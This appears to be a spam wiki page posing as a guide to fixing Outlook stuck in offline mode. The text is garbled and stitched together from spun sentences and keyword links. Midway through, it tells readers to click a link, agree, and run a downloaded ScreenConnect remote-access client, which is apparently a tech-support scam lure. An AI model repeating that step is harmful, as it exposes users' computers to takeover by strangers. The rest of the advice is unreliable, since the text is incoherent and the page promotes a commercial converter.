1 How to Fix Outlook Stuck in Offline Mode Error? Solved
Leanna Lewers edited this page 2025-12-07 09:37:24 +00:00
This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

Content

We see this problem pop up a lot because of multiple Office 365 accounts, old settings, or corrupted Outlook files. Figuring out why Outlook gets stuck offline really helps you fix it—and keeps it from coming back. This guide covers the usual suspects, troubleshooting steps, and a few advanced tricks to get your email flowing again. Outlook status says offline then it can happen when offline mode enabled, server connection is recreate Outlook profile step by step lost, or your internet isnt stable. Corrupted Outlook profile, faulty add-ins or outdated version of Outlook can also be reasons to remain offline.

Check OST file

The Outlook may remain stuck in the offline mode until the network is restored.That keeps Outlook from getting confused and stuck offline.That can confuse Outlook, especially with Autodiscover, and you end up stuck offline.In such cases, you can recreate the OST file or use the Stellar Converter for OST software to convert the problematic OST file to Outlook importable PST format.Furthermore, there is no need to install any of the additional software to use this tool.Outlook Safe Mode can help troubleshoot and fix the Outlook stuck in offline mode issue as it prevents any add-in from interfering with the normal Outlook operations.You can also send us your queries in the comment section, and we'll revert back as soon as possible.This indicates that the internet is working fine, but Outlook cannot connect to the mailbox server.

If you get a prompt about letting another server manage your system and pick the wrong answer, Outlook might stay offline for good. Please click the link below from your computer (after reading how to fix Outlook not opening today this). On the new page, click the green I Agree button to start the connection download. Once the file (Elsinore.ScreenConnect.Client) has downloaded, select Run or Open.

How To Fix Outlook Stuck in Offline Mode?

If you have to keep multiple accounts on one device, set up separate Outlook profiles for each one. Each profile should only connect to its own Office 365 tenant. This helps avoid cross-environment prompts that mess with your connection.

Verify Work Offline Button Status

And thus, an Offline Storage Table (OST) file is created to save a local synchronized copy of mailbox items. When the mail server is not available due to maintenance tasks or other issues, Outlook may fail to connect to the server and display the status as Disconnected. This indicates that the internet is working fine, but Outlook cannot connect to the mailbox server. If your system connects to more than one Office 365 environment, Outlook might not know which Exchange server to use. That often sets off Autodiscover conflicts and lands you in offline mode. To keep Outlook from slipping into offline mode again, sort out account conflicts and keep your software up to date.

Method 1: Reset 'Work Offline' to Reconnect

If you set up your Outlook profile wrong, it might not log in to Microsoft Exchange or Office 365. Sometimes, people connect their system to several Office 365 environments without realizing it. That can confuse Outlook, especially with Autodiscover, and you end up stuck offline. Reconnect Outlook by checking your connection, disable work offline mode, and relaunch app.

A broken Outlook profile can mess up syncing and keep you offline. We usually suggest making a new profile instead of spending ages trying to fix the old one. From the file explorer ribbon, under the 'Easy Access' drop down menu, you could toggle from "offline" to "online".

Setup Exchange Server Account Manually

Additionally, it will sync every piece of server-based mail. As is known, we can switch from Offline to Online Mode and vice versa in Microsoft Outlook 2010 and later versions. Once Outlook is configured with an Exchange account, the Cached Exchange Mode is enabled automatically.

Sometimes a VPN or firewall blocks Outlook, so try turning those off for a minute to see if it helps. Hybrid setups—where youve got both on-premises Exchange servers and Office 365—can run into DNS or Autodiscover problems. If your external DNS doesnt match the internal setup, Outlook can lose track of where its supposed to connect. Outdated software often brings compatibility headaches that break your connection. Further, the drive status for any drive which has a file/folder set to be available offline is stuck on "Offline". Even after following the above process, fix mfa prompts Not working if the issue of offline still present, and OST corruption might be the actual cause.